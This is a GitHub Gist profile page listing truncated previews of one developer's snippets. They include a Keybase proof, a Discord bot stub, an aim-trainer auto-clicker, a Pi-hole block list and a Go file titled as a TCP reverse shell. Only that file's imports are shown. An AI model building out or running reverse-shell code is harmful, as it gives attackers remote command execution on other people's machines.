Skip to content

Instantly share code, notes, and snippets.

Avatar
👀

Simon psidex

👀
View GitHub Profile
View keybase.md

Keybase proof

I hereby claim:

  • I am psidex on github.
  • I am psidex (https://keybase.io/psidex) on keybase.
  • I have a public key whose fingerprint is EA86 671E 4AD6 A0B8 ADF9 B715 092D 2658 8A7F A340

To claim this, I am signing this object:

@psidex
psidex / browser.js
Last active Oct 27, 2020
Weird issue
View browser.js
// Execute this normally in a browsers debug console.
const ws = new WebSocket('ws://127.0.0.1:8080/');
ws.onopen = async () => {
// Send different 1mb arrays.
for (let i = 0; i < 10; i++) {
const data = new Uint8Array(1024 * 1024);
for (let j = 0; j < 1024 * 1024; j++) {
data[j] = i;
@psidex
psidex / main.go
Last active Jun 16, 2020
Golang reverse shell over TCP
View main.go
package main
import (
"bufio"
"fmt"
"net"
"os/exec"
"runtime"
"strings"
)
@psidex
psidex / OpinionHighlighter.gs
Last active Oct 20, 2020
Custom Google sheets script for highlighting my & my friends movie ratings
View OpinionHighlighter.gs
// The columns that will contain opinions (emoji).
const opinionColumns = [16, 17, 18, 19, 20];
// The columns to change the colour of.
const toColourColumns = [15, 16, 17, 18, 19, 20];
// The weights given to each individual opinion.
const opinionWeights = {
"😍": 6,
"👍": 3,
@psidex
psidex / list.txt
Last active Apr 27, 2020
UK Takeaway Pi-hole Regex
View list.txt
(^|.*\.)(deliveroo)\..*$
(^|.*\.)(je-apis|je-apps|just-eat|just-eat-prod-.*)\..*$
(^|.*\.)(uber|ubereats)\..*$
@psidex
psidex / test.py
Created Apr 5, 2019
basic discord.py rewrite bot
View test.py
import discord
DISCORD_TOKEN = ""
class testClient(discord.Client):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
async def on_ready(self):
@psidex
psidex / aim.py
Last active Mar 15, 2019
A quickly written auto-clicker for aimbooster.com
View aim.py
from PIL import ImageGrab
import numpy as np
import pyautogui
from time import sleep
coords = [181, 348, 778, 765] # Game window coords
againCoords = [505, 732] # "Again" button coords
# Game window h/w
imageWidth = 597
View numberRenamer.py
from tkinter import Tk, filedialog
import os
Tk().withdraw()
directory = filedialog.askdirectory()
filenames = os.listdir(directory)
for count, filename in enumerate(filenames):
file_extension = os.path.splitext(filename)[1]
print(filename + " -> " + str(count+1)+file_extension)
View BTC_Transactions.py
import websocket
from json import loads as tojson
def on_message(ws, raw_message):
print("\nGot raw_message")
message = tojson(raw_message)
invalue = int(message["x"]["inputs"][0]["prev_out"]["value"]) / 100000000
outvalue = int(message["x"]["out"][0]["value"]) / 100000000
print("BTC in :", invalue)
print("BTC out:", outvalue) # Actual confirmed transaction
View midi_player.py
from mido import MidiFile
from time import sleep
import pygame, sys
count = 0
playback_gui = " "*10
print("Press CTRL+C to quit")
if len(sys.argv) < 2:
mid_file = input(".mid file path: ")
else:
mid_file = " ".join(sys.argv[1:])